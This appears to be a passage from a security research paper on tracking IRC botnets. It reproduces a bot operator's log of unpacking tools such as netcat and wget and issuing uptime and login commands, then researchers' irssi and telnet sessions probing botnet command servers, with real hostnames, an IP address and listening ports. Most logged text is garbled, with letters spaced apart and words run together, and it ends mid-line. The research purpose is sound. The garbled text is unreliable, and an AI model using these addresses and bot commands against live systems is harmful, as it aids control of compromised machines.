[ + ]L ' a r c h i v i oc o n t i e n e8t o o l s . . : : [ + ]A n a l i s ic o m p l e t a t a . . : : [ ] . . : : [ + ]I n i z i ou n p a c k i n g . . : : [ ] . . : : [ + ]E S T R A Z I O N EI NC O R S OD I :F i l e sE s s e n z i a l i . . : : [ + ]E s t r a g g o :c y g w i n 1 . d l l . . : : [ + ]E s t r a g g o :f i r e d a e m o n . e x e

F e b1 91 3 : 4 0 : 4 8 F e b1 91 3 : 4 0 : 4 9 F e b1 91 3 : 4 0 : 5 0 F e b1 91 3 : 4 0 : 5 1 F e b1 91 3 : 4 0 : 5 2 F e b1 91 3 : 4 0 : 5 3 F e b1 91 3 : 4 0 : 5 4 F e b1 91 3 : 4 0 : 5 5 F e b1 91 3 : 4 0 : 5 6 F e b1 91 3 : 4 0 : 5 7 F e b1 91 3 : 4 0 : 5 8 F e b1 91 3 : 4 0 : 5 9 F e b1 91 3 : 4 1 : 0 0 F e b1 91 3 : 4 1 : 0 1 F e b1 91 3 : 4 1 : 0 2 F e b1 91 3 : 4 1 : 0 3 F e b1 91 3 : 4 1 : 0 4 F e b1 91 3 : 4 1 : 0 5 F e b1 91 3 : 4 1 : 0 6 F e b1 91 3 : 4 1 : 0 7 F e b1 91 3 : 4 1 : 0 8 F e b1 91 3 : 4 1 : 0 9 F e b1 91 3 : 4 1 : 1 0 F e b1 91 3 : 4 1 : 1 1 F e b1 91 3 : 4 1 : 1 2 F e b1 91 3 : 4 1 : 1 4 F e b1 91 3 : 4 1 : 1 5 F e b1 91 3 : 4 1 : 1 6 F e b1 91 3 : 4 1 : 1 9

<F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X >

. . : : [ + ]E s t r a g g o :c m d . e x e . . : : [ ] . . : : [ + ]E S T R A Z I O N EI NC O R S OD I :I r o f f e r . . : : [ + ]E s t r a g g o :M S S e r v . e x e . . : : [ + ]E s t r a g g o :c y g c r y p t 0 . d l l . . : : [ + ]E s t r a g g o :c o n v e r t x d c c f i l e . e x e . . : : [ + ]E s t r a g g o :S y s t e m . d l l . . : : [ ] . . : : [ + ]E S T R A Z I O N EI NC O R S OD I :F i l e sA g g i u n t i v i . . : : [ + ]E s t r a g g o :n e t c a t . e x e . . : : [ + ]E s t r a g g o :p k u n z i p . e x e . . : : [ + ]E s t r a g g o :u p t i m e . e x e . . : : [ + ]E s t r a g g o :p s i n f o . e x e . . : : [ + ]E s t r a g g o :p s l i s t . e x e . . : : [ + ]E s t r a g g o :k i l l . e x e . . : : [ + ]E s t r a g g o :u n r a r . e x e . . : : [ + ]E s t r a g g o :w g e t . e x e . . : : [ + ]S c o m p a t t a z i o n ec o m p l e t a t a . . : : [ ] . . : : [ + ]U p l o a d seC o n fN O Ns o n os e p a r a t i . . : : [ + ]N i c k n a m e :M a X | D a v | t e s t 0 0 . . : : [ + ]M o d i f i c ac o n fc o m p l e t a t a . . : : [ + ]A v v i oI r o f f e ri nc o r s o . . : : [ + ]I r o f f e rA v v i a t o . . : : [ ] = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = C o d e db yE x p a n d e r s = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = C : \ W I N D O W S \ s y s t e m 3 2 \ k e r n e l > . u p t i m e

F e b1 91 3 : 4 1 : 2 0 < ~ f o o b a r >

check uptime of compromised system

F e b1 91 3 : 4 1 : 2 0 <F R A | X X X X X X > F e b1 91 3 : 4 1 : 4 3 < ~ f o o b a r > [ r 0 x ] :U p t i m e :0 d0 h2 2 m . . l o g o u t

finally log out from this bot

F e b1 91 3 : 4 1 : 4 4 <F R A | X X X X X X > F e b1 91 3 : 4 1 : 4 9 < ~ f o o b a r > [ r 0 x ] :U s e rf o o b a rl o g g e do u t . F R A | Y Y Y Y Y Y. l o g i nt o l d o

... and login to another box

Appendix D: Botnet Vendors - The advantage of honeypots

Anti-virus companies like Symantec are interested in obtaining information about Botnets as they provide an excellent source on new kinds of malware. Once collected, these organizations publish information on Botnets, unfortunately at times this information is not enough. We can leverage honeypots to collect the necessary information ourselves as we demonstrate below. When it comes to publishing information on Botnets, organizations like Symantec take two common approaches. 1. If the binary of the bot is recognized, it is ignored as its already known and documented. 2. If the binary of the bot requires a new signature, they can publish data about the Botnet server. We think that it is better to choose the second option. People who are using a virus scanner are not potential

conscription victims, and nobody wants his Botnet getting published. But we show now that the information that is published by Symantec is not enough to actually track Botnets - it is just a pressure for the operators. The following section is an irssi session connecting and watching two Botnets. Commands and comments issued by us are formatted. 1. http://securityresponse.symantec.com/avcenter/venc/data/w32.pejaybot.html#technicaldetails
! h o m e . p j 3 4 r . u s* * *L o o k i n gu py o u rh o s t n a m e . . . ! h o m e . p j 3 4 r . u s* * *C o u l d n ' tr e s o l v ey o u rh o s t n a m e ;u s i n gy o u rI Pa d d r e s si n s t e a d ! -W e l c o m et ot h ep j 3 4 rI R CN e t w o r ks e c f c s ! s e c f c s @ g o o g l e . c o m

// we honestly decided to strip out IP-address

! -Y o u rh o s ti sh o m e . p j 3 4 r . u s ,r u n n i n gv e r s i o nU n r e a l 3 . 2 . 2 ! -T h i ss e r v e rw a sc r e a t e dM o nJ a n1 02 0 0 5a t1 6 : 1 4 : 1 8P S T ! -h o m e . p j 3 4 r . u sU n r e a l 3 . 2 . 2i o w g h r a A s O R T V S x N C W q B z v d H t G p l v h o p s m n t i k r R c a q O A L Q b S e K V f M G C u z N T ! -S A F E L I S TH C NM A X C H A N N E L S = 2 5C H A N L I M I T = # : 2 5M A X L I S T = b : 6 0 , e : 6 0N I C K L E N = 3 0 C H A N N E L L E N = 3 2T O P I C L E N = 3 0 7K I C K L E N = 3 0 7A W A Y L E N = 3 0 7M A X T A R G E T S = 2 0W A L L C H O P S W A T C H = 1 2 8a r es u p p o r t e db yt h i ss e r v e r ! -S I L E N C E = 1 5M O D E S = 1 2C H A N T Y P E S = #P R E F I X = ( q a o h v ) ~ & a m p ; @ % + C H A N M O D E S = b e , k f L , l , p s m n t i r R c O A Q K V G C u z N S M TN E T W O R K = p j 3 4 rC A S E M A P P I N G = a s c i i E X T B A N = ~ , c q n r E L I S T = M N U C TS T A T U S M S G = ~ & a m p ; @ % +E X C E P T SC M D S = K N O C K , M A P , D C C A L L O W , U S E R I Pa r es u p p o r t e d b yt h i ss e r v e r ! -T h e r ea r e1u s e r sa n d9 3 6 0i n v i s i b l eo n1s e r v e r s ! -2o p e r a t o r ( s )o n l i n e ! -1 4 1u n k n o w nc o n n e c t i o n ( s ) ! -2 6c h a n n e l sf o r m e d

// the bots hang around in 26 (sic!) channels

! -Ih a v e9 3 6 1c l i e n t sa n d0s e r v e r s ! -C u r r e n tL o c a lU s e r s :9 3 6 1 M a x :9 3 6 5 ! -C u r r e n tG l o b a lU s e r s :9 3 6 1 M a x :9 3 6 5

// seems like a 10.000 Botnet on the first view. // but this value is often inaccurate because attackers hardcode some values.
! -M O T DF i l ei sm i s s i n g ! -M o d ec h a n g e[ + i w ]f o ru s e rs e c f c s

/stats a
! -/ S t a t sf l a g s : ! -B-b a n v e r s i o n-S e n dt h eb a nv e r s i o nl i s t ! -b-b a d w o r d-S e n dt h eb a d w o r d sl i s t ! -C-l i n k-S e n dt h el i n kb l o c kl i s t ! -d-d e n y l i n k a u t o-S e n dt h ed e n yl i n k( a u t o )b l o c kl i s t ! -D-d e n y l i n k a l l-S e n dt h ed e n yl i n k( a l l )b l o c kl i s t ! -e-e x c e p t t h r o t t l e-S e n dt h ee x c e p tt r o t t l eb l o c kl i s t ! -E-e x c e p t b a n-S e n dt h ee x c e p tb a nb l o c kl i s t ! -f-s p a m f i l t e r-S e n dt h es p a m f i l t e rl i s t ! -F-d e n y d c c-S e n dt h ed e n yd c ca n da l l o wd c cb l o c kl i s t s ! -G-g l i n e-S e n dt h eg l i n el i s t ! - E x t e n d e df l a g s :[ + / m r s ][ m a s k ][ r e a s o n ][ s e t b y ] ! mR e t u r ng l i n e sm a t c h i n g / n o tm a t c h i n gt h es p e c i f i e dm a s k ! rR e t u r ng l i n e sw i t har e a s o nm a t c h i n g / n o tm a t c h i n gt h es p e c i f i e dr e a s o n ! sR e t u r ng l i n e ss e tb y / n o ts e tb yc l i e n t sm a t c h i n gt h es p e c i f i e dn a m e ! -I-a l l o w-S e n dt h ea l l o wb l o c kl i s t ! -j-o f f i c i a l c h a n s-S e n dt h eo f f i c a lc h a n n e l sl i s t ! -K-k l i n e-S e n dt h eb a nu s e r / b a ni p / e x c e p tb a nb l o c kl i s t

! -l-l i n k i n f o-S e n dl i n ki n f o r m a t i o n ! -L-l i n k i n f o a l l-S e n da l ll i n ki n f o r m a t i o n ! -M-c o m m a n d-S e n dl i s to fh o wm a n yt i m e se a c hc o m m a n dw a su s e d ! -n-b a n r e a l n a m e-S e n dt h eb a nr e a l n a m eb l o c kl i s t ! -O-o p e r-S e n dt h eo p e rb l o c kl i s t ! -S-s e t-S e n dt h es e tb l o c kl i s t ! -s-s h u n-S e n dt h es h u nl i s t ! - E x t e n d e df l a g s :[ + / m r s ][ m a s k ][ r e a s o n ][ s e t b y ] ! mR e t u r ns h u n sm a t c h i n g / n o tm a t c h i n gt h es p e c i f i e dm a s k ! rR e t u r ns h u n sw i t har e a s o nm a t c h i n g / n o tm a t c h i n gt h es p e c i f i e dr e a s o n ! sR e t u r ns h u n ss e tb y / n o ts e tb yc l i e n t sm a t c h i n gt h es p e c i f i e dn a m e ! -P-p o r t-S e n di n f o r m a t i o na b o u tp o r t s ! -q-b a n n i c k-S e n dt h eb a nn i c kb l o c kl i s t ! -Q-s q l i n e-S e n dt h eg l o b a lq l i n el i s t ! -r-c h a n r e s t r i c t-S e n dt h ec h a n n e ld e n y / a l l o wb l o c kl i s t ! -t-t l d-S e n dt h et l db l o c kl i s t ! -T-t r a f f i c-S e n dt r a f f i ci n f o r m a t i o n ! -u-u p t i m e-S e n dt h es e r v e ru p t i m ea n dc o n n e c t i o nc o u n t ! -U-u l i n e-S e n dt h eu l i n e sb l o c kl i s t ! -v-d e n y v e r-S e n dt h ed e n yv e r s i o nb l o c kl i s t ! -V-v h o s t-S e n dt h ev h o s tb l o c kl i s t ! -X-n o t l i n k-S e n dt h el i s to fs e r v e r st h a ta r en o tc u r r e n tl i n k e d ! -Y-c l a s s-S e n dt h ec l a s sb l o c kl i s t ! -Z-m e m-S e n dm e m o r yu s a g ei n f o r m a t i o n ! -*E n do f/ S T A T Sr e p o r t

// often attackers forget to switch this off /stats P

! h o m e . p j 3 4 r . u s* * *L i s t e n e ro n7 2 . 2 0 . 2 5 . 2 0 5 : 9 8 3 2 ,c l i e n t s4 5 2 .i sP E R M ! h o m e . p j 3 4 r . u s* * *L i s t e n e ro n7 2 . 2 0 . 2 5 . 2 0 5 : 2 1 0 4 5 ,c l i e n t s3 .i sP E R M ! h o m e . p j 3 4 r . u s* * *L i s t e n e ro n7 2 . 2 0 . 2 5 . 2 0 5 : 8 1 2 6 ,c l i e n t s7 4 6 7 .i sP E R Mc l i e n t s o n l y ! h o m e . p j 3 4 r . u s* * *L i s t e n e ro n7 2 . 2 0 . 2 5 . 2 0 5 : 7 0 0 0 ,c l i e n t s2 .i sP E R M ! h o m e . p j 3 4 r . u s* * *L i s t e n e ro n7 2 . 2 0 . 2 5 . 2 0 5 : 5 6 6 2 ,c l i e n t s0 .i sP E R M ! h o m e . p j 3 4 r . u s* * *L i s t e n e ro n7 2 . 2 0 . 2 5 . 2 0 5 : 5 2 2 6 ,c l i e n t s1 5 7 3 .i sP E R M ! h o m e . p j 3 4 r . u s* * *L i s t e n e ro n7 2 . 2 0 . 2 5 . 2 0 5 : 6 9 7 1 ,c l i e n t s0 .i sP E R M ! -PE n do f/ S T A T Sr e p o r t

// we never saw these values getting faked, so we take them as accurate guess. // 10.000 Bots are only on a single server so far. /stats T
! -a c c e p t s3 8 7 6 2 8 0r e f u s e d3 7 5 7 2 7 8 ! -u n k n o w nc o m m a n d s4 6p r e f i x e s0 ! -n i c kc o l l i s i o n s0u n k n o w nc l o s e s1 1 9 6 5 6 2 ! -w r o n gd i r e c t i o n0e m p t y0 ! -n u m e r i c ss e e n0m o d ef a k e s0 ! -a u t hs u c c e s s e s0f a i l s0 ! -l o c a lc o n n e c t i o n s0u d pp a c k e t s0 ! -C l i e n tS e r v e r ! -c o n n e c t e d7 6 5 9 5 10 ! -b y t e ss e n t3 0 7 5 9 9 6 . 1 3 5 K0 . 0 K ! -b y t e sr e c v9 0 1 9 3 0 . 5 2 5 K0 . 0 K ! -t i m ec o n n e c t e d1 8 7 3 6 2 8 1 1 70 ! -i n c o m i n gr a t e0 . 0 0k b / s-o u t g o i n gr a t e2 . 0 0k b / s

/stats u
! -S e r v e rU p4d a y s ,2 : 5 4 : 2 3 ! -H i g h e s tc o n n e c t i o nc o u n t :9 5 5 4( 9 5 5 4c l i e n t s )

! -uE n do f/ S T A T Sr e p o r t

/map
1 1 : 5 3! -h o m e . p j 3 4 r . u s ( 9 3 9 4 ) 6 9 1 1 : 5 3! -E n do f/ M A P

/links
1 1 : 5 3! -h o m e . p j 3 4 r . u sh o m e . p j 3 4 r . u s0D o s N e tL i n u xI R C d 1 1 : 5 3! -*E n do f/ L I N K Sl i s t .

/WHOIS -YES *

/list -YES *
! -C h a n n e lU s e r s N a m e ! -E n do f/ L I S T

// the botnet channels are set +sp // so they are hidden from outside So we got the following information about this Botnet: It is a single-server network with about 10.000 clients on 26 channels. The server is listening on seven ports, but we lack any information about channels names or nickname structure. Thus we can not track botnets as close as we want to. The only possibility is to just add a randomly named client to that server. Maybe the operators of the botnet do not notice this strange client. And if we have a bit luck, they send interesting information to all clients via WALLMSG or the server gets linked somewhere. 2. http://securityresponse.symantec.com/avcenter/venc/data/backdoor.sdbot.aj.html#technicaldetails
! -I r s s i :L o o k i n gu pm o s k e m o n g o . b i z ! -I r s s i :C o n n e c t i n gt om o s k e m o n g o . b i z[ 2 1 3 . 1 1 3 . 1 1 4 . 2 1 3 ]p o r t5 9 ! -I r s s i :C o n n e c t i o nt om o s k e m o n g o . b i ze s t a b l i s h e d ! M o s k e M o n g o . B I Z* * *L o o k i n gu py o u rh o s t n a m e . . . ! M o s k e M o n g o . B I Z* * *F o u n dy o u rh o s t n a m e( c a c h e d ) ! M o s k e M o n g o . B I Z* * *I fy o ua r eh a v i n gp r o b l e m sc o n n e c t i n gd u et op i n gt i m e o u t s , p l e a s et y p e/ q u o t ep o n gE C 3 8 C 5 1 Co r/ r a wp o n gE C 3 8 C 5 1 Cn o w . ! -W e l c o m et ot h eu c o f N E TI R CN e t w o r ks e c f c s ! s e c f c s @ g o o g l e . c o m ! -Y o u rh o s ti sM o s k e M o n g o . B I Z ,r u n n i n gv e r s i o nU n r e a l 3 . 2 . 2 ! -T h i ss e r v e rw a sc r e a t e dT u eD e c1 42 0 0 4a t1 6 : 1 9 : 1 1C E T ! -M o s k e M o n g o . B I ZU n r e a l 3 . 2 . 2i o w g h r a A s O R T V S x N C W q B z v d H t G p l v h o p s m n t i k r R c a q O A L Q b S e K V f M G C u z N T ! -S A F E L I S TH C NM A X C H A N N E L S = 1 0C H A N L I M I T = # : 1 0M A X L I S T = b : 6 0 , e : 6 0N I C K L E N = 3 0 C H A N N E L L E N = 3 2T O P I C L E N = 3 0 7K I C K L E N = 3 0 7A W A Y L E N = 3 0 7M A X T A R G E T S = 2 0W A L L C H O P S W A T C H = 1 2 8a r es u p p o r t e db yt h i ss e r v e r ! -S I L E N C E = 1 5M O D E S = 1 2C H A N T Y P E S = #P R E F I X = ( q a o h v ) ~ & a m p ; @ % + C H A N M O D E S = b e , k f L , l , p s m n t i r R c O A Q K V G C u z N S M TN E T W O R K = u c o f N E TC A S E M A P P I N G = a s c i i E X T B A N = ~ , c q n r E L I S T = M N U C TS T A T U S M S G = ~ & a m p ; @ % +E X C E P T SC M D S = K N O C K , M A P , D C C A L L O W , U S E R I Pa r es u p p o r t e d b yt h i ss e r v e r ! -T h e r ea r e1u s e r sa n d1 2 6 6i n v i s i b l eo n1s e r v e r s ! -2o p e r a t o r ( s )o n l i n e ! -5u n k n o w nc o n n e c t i o n ( s ) ! -5c h a n n e l sf o r m e d ! -Ih a v e1 2 6 7c l i e n t sa n d0s e r v e r s ! -C u r r e n tL o c a lU s e r s :1 2 6 7 M a x :2 3 8 1 ! -C u r r e n tG l o b a lU s e r s :1 2 6 7 M a x :1 4 3 9

// 1.2k is a small botnet, but quite destructive if you want it to be

! -M O T DF i l ei sm i s s i n g

// Message Of The Day (MOTD) is disabled on many botnets to save traffic

! -M o d ec h a n g e[ + i w ]f o ru s e rs e c f c s

/map
! -M o s k e M o n g o . B I Z ( 1 2 9 2 ) 1 ! -E n do f/ M A P

/links
1 1 : 5 8! -M o s k e M o n g o . B I ZM o s k e M o n g o . B I Z0u c o f N E Tm a i ns e r v e r ! -*E n do f/ L I N K Sl i s t .

/list
! -C h a n n e lU s e r s N a m e ! -E n do f/ L I S T

// once again channels are hidden :\ /stats a

! -/ S t a t sf l a g s : ! -B-b a n v e r s i o n-S e n dt h eb a nv e r s i o nl i s t ! -b-b a d w o r d-S e n dt h eb a d w o r d sl i s t ! -C-l i n k-S e n dt h el i n kb l o c kl i s t ! -d-d e n y l i n k a u t o-S e n dt h ed e n yl i n k( a u t o )b l o c kl i s t ! -D-d e n y l i n k a l l-S e n dt h ed e n yl i n k( a l l )b l o c kl i s t ! -e-e x c e p t t h r o t t l e-S e n dt h ee x c e p tt r o t t l eb l o c kl i s t ! -E-e x c e p t b a n-S e n dt h ee x c e p tb a nb l o c kl i s t ! -f-s p a m f i l t e r-S e n dt h es p a m f i l t e rl i s t ! -F-d e n y d c c-S e n dt h ed e n yd c ca n da l l o wd c cb l o c kl i s t s ! -G-g l i n e-S e n dt h eg l i n el i s t ! - E x t e n d e df l a g s :[ + / m r s ][ m a s k ][ r e a s o n ][ s e t b y ] ! mR e t u r ng l i n e sm a t c h i n g / n o tm a t c h i n gt h es p e c i f i e dm a s k ! rR e t u r ng l i n e sw i t har e a s o nm a t c h i n g / n o tm a t c h i n gt h es p e c i f i e dr e a s o n ! sR e t u r ng l i n e ss e tb y / n o ts e tb yc l i e n t sm a t c h i n gt h es p e c i f i e dn a m e ! -I-a l l o w-S e n dt h ea l l o wb l o c kl i s t ! -j-o f f i c i a l c h a n s-S e n dt h eo f f i c a lc h a n n e l sl i s t ! -K-k l i n e-S e n dt h eb a nu s e r / b a ni p / e x c e p tb a nb l o c kl i s t ! -l-l i n k i n f o-S e n dl i n ki n f o r m a t i o n ! -L-l i n k i n f o a l l-S e n da l ll i n ki n f o r m a t i o n ! -M-c o m m a n d-S e n dl i s to fh o wm a n yt i m e se a c hc o m m a n dw a su s e d ! -n-b a n r e a l n a m e-S e n dt h eb a nr e a l n a m eb l o c kl i s t ! -O-o p e r-S e n dt h eo p e rb l o c kl i s t ! -S-s e t-S e n dt h es e tb l o c kl i s t ! -s-s h u n-S e n dt h es h u nl i s t ! - E x t e n d e df l a g s :[ + / m r s ][ m a s k ][ r e a s o n ][ s e t b y ] ! mR e t u r ns h u n sm a t c h i n g / n o tm a t c h i n gt h es p e c i f i e dm a s k ! rR e t u r ns h u n sw i t har e a s o nm a t c h i n g / n o tm a t c h i n gt h es p e c i f i e dr e a s o n ! sR e t u r ns h u n ss e tb y / n o ts e tb yc l i e n t sm a t c h i n gt h es p e c i f i e dn a m e ! -P-p o r t-S e n di n f o r m a t i o na b o u tp o r t s ! -q-b a n n i c k-S e n dt h eb a nn i c kb l o c kl i s t ! -Q-s q l i n e-S e n dt h eg l o b a lq l i n el i s t ! -r-c h a n r e s t r i c t-S e n dt h ec h a n n e ld e n y / a l l o wb l o c kl i s t ! -t-t l d-S e n dt h et l db l o c kl i s t

! -T-t r a f f i c-S e n dt r a f f i ci n f o r m a t i o n ! -u-u p t i m e-S e n dt h es e r v e ru p t i m ea n dc o n n e c t i o nc o u n t ! -U-u l i n e-S e n dt h eu l i n e sb l o c kl i s t ! -v-d e n y v e r-S e n dt h ed e n yv e r s i o nb l o c kl i s t ! -V-v h o s t-S e n dt h ev h o s tb l o c kl i s t ! -X-n o t l i n k-S e n dt h el i s to fs e r v e r st h a ta r en o tc u r r e n tl i n k e d ! -Y-c l a s s-S e n dt h ec l a s sb l o c kl i s t ! -Z-m e m-S e n dm e m o r yu s a g ei n f o r m a t i o n ! -*E n do f/ S T A T Sr e p o r t

// but at least the IRCd is bad configured /stats P

! M o s k e M o n g o . B I Z* * *L i s t e n e ro n* : 5 9 ,c l i e n t s1 1 .i sP E R M ! M o s k e M o n g o . B I Z* * *L i s t e n e ro n* : 4 4 3 ,c l i e n t s1 1 4 5 .i sP E R M ! M o s k e M o n g o . B I Z* * *L i s t e n e ro n* : 6 6 6 7 ,c l i e n t s1 3 3 .i sP E R M ! -PE n do f/ S T A T Sr e p o r t

/stats T
! -a c c e p t s9 9 4 0 7r e f u s e d6 8 7 6 4 ! -u n k n o w nc o m m a n d s1p r e f i x e s0 ! -n i c kc o l l i s i o n s0u n k n o w nc l o s e s1 0 6 4 6 ! -w r o n gd i r e c t i o n0e m p t y0 ! -n u m e r i c ss e e n0m o d ef a k e s0 ! -a u t hs u c c e s s e s0f a i l s0 ! -l o c a lc o n n e c t i o n s1u d pp a c k e t s0 ! -C l i e n tS e r v e r ! -c o n n e c t e d2 0 0 3 80 ! -b y t e ss e n t8 4 8 6 4 . 3 5 2 K0 . 0 K ! -b y t e sr e c v3 2 3 4 2 . 8 3 3 K0 . 0 K ! -t i m ec o n n e c t e d6 4 3 0 9 9 7 20 ! -i n c o m i n gr a t e0 . 0 0k b / s-o u t g o i n gr a t e1 . 0 0k b / s ! -TE n do f/ S T A T Sr e p o r t

/stats V
! -v h o s ti . h a t e . m i c r o s e f r s . c o ms t s k e e p s* @ * . i m a g e . d k ! -VE n do f/ S T A T Sr e p o r t

// we saw similar named vhost some time ago // seems a known network /stats u
! -S e r v e rU p0d a y s ,1 8 : 1 5 : 1 9 ! -H i g h e s tc o n n e c t i o nc o u n t :1 4 3 9( 2 3 8 1c l i e n t s ) ! -uE n do f/ S T A T Sr e p o r t

Once again, we are just able to add a client idling on the server. We lack information about nickname structure and Botnet channels since Symantec did not offers these informations. 3. http://securityresponse.symantec.com/avcenter/venc/data/backdoor.sdbot.ao.html#technicaldetails This time we use a telnet session to connect to the Botnet server to see some interesting banner.
$t e l n e ta x e s s . w a r e z f r . c a2 7 8 4 T r y i n g2 4 . 2 2 6 . 2 1 4 . 1 4 9 . . .

C o n n e c t e dt o2 1 4 1 4 9 . s h . c g o c a b l e . c a . E s c a p ec h a r a c t e ri s' ^ ] ' . Q U I T N I C Kf o o N I C K: Y o uh a v en o tr e g i s t e r e d U S E Rf o o00: f o o N I C Kf o o : w w w . p a c k e t s t o r m s e c u r i t y . o r g0 0 1f o o: w w w . p a c k e t s t o r m s e c u r i t y . o r g : w w w . p a c k e t s t o r m s e c u r i t y . o r g0 0 2f o o: A l lI pI sL o g g e d : w w w . p a c k e t s t o r m s e c u r i t y . o r g0 0 3f o o: T h i sS e r v e rW a sC r e a t e dF o rH o n e y P o t

// a botnet for us? hooray!

: w w w . p a c k e t s t o r m s e c u r i t y . o r g0 0 4f o o: C h e k i n gS e c u r i t yS e r v e r

// checking spelling
: w w w . p a c k e t s t o r m s e c u r i t y . o r g0 0 5f o o: N oH a c k e rS u p p o r t e dO nT h i sS e r v e r : w w w . p a c k e t s t o r m s e c u r i t y . o r g0 0 5f o o: N oH a c k e rS u p p o r t e dO nT h i sS e r v e r

// oh no, they have disabled it...

: w w w . p a c k e t s t o r m s e c u r i t y . o r g2 5 1f o o: T h e r ea r e1 0u s e r sa n d1i n v i s i b l eo n1 s e r v e r s : w w w . p a c k e t s t o r m s e c u r i t y . o r g2 5 2f o o0: o p e r a t o r ( s )o n l i n e : w w w . p a c k e t s t o r m s e c u r i t y . o r g2 5 4f o o1: c h a n n e l sf o r m e d : w w w . p a c k e t s t o r m s e c u r i t y . o r g2 5 5f o o: Ih a v e1 0c l i e n t sa n d1s e r v e r s : w w w . p a c k e t s t o r m s e c u r i t y . o r g2 6 5f o o: C u r r e n tL o c a lU s e r s :1 M a x :5 : w w w . p a c k e t s t o r m s e c u r i t y . o r g2 6 6f o o: C u r r e n tG l o b a lU s e r s :1 0 M a x :1 1 : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 5f o o: -w w w . p a c k e t s t o r m s e c u r i t y . o r gM e s s a g eo ft h e D a y: w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -2 5 / 1 2 / 2 0 0 41 6 : 4 8 : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -G o u v e r n e m e n tS e c u r i t yN e t w o r k : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -H t t p : / / w w w . F B I . g o v : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -F e d e r a lB u r e a uo fI n v e s t i g a t i o n : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -A t t e n t i o n :C o n t e n tM a n a g e r ,F B IH o m eP a g e : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -9 3 5P e n n s y l v a n i aA v e n u e ,N W ,R o o m7 3 5 0 : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -W a s h i n g t o n ,D C2 0 5 3 5 : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -( 2 0 2 )3 2 4 3 0 0 0 : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -H t t p : / / w w w . C I A . g o v : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -B yp o s t a lm a i l : : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -C e n t r a lI n t e l l i g e n c eA g e n c y : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -O f f i c eo fP u b l i cA f f a i r s : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -W a s h i n g t o n ,D . C .2 0 5 0 5 : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -B yp h o n e : : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -( 7 0 3 )4 8 2 0 6 2 3 : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -7 : 0 0a . m .t o5 : 0 0p . m . ,U SE a s t e r nt i m e : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -B yf a x : : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -( 7 0 3 )4 8 2 1 7 3 9 : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -7 : 0 0a . m .t o5 : 0 0p . m . ,U SE a s t e r nt i m e : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -( p l e a s ei n c l u d eap h o n en u m b e rw h e r ew em a y c a l ly o u )

: w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -T ov e r i f yaC I Ae m p l o y e e ' se m p l o y m e n t : : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -i fy o ua r eam o r t g a g ec o m p a n y ,c r e d i t o ro r p o t e n t i a le m p l o y e r ,p l e a s ea d d r e s si n q : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -u i r i e st o : : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -C I A : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -H u m a nR e s o u r c eM a n a g e m e n t : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -W a s h i n g t o n ,D C2 0 5 0 5 : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -A T T N :E m p l o y e eV e r i f i c a t i o n : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 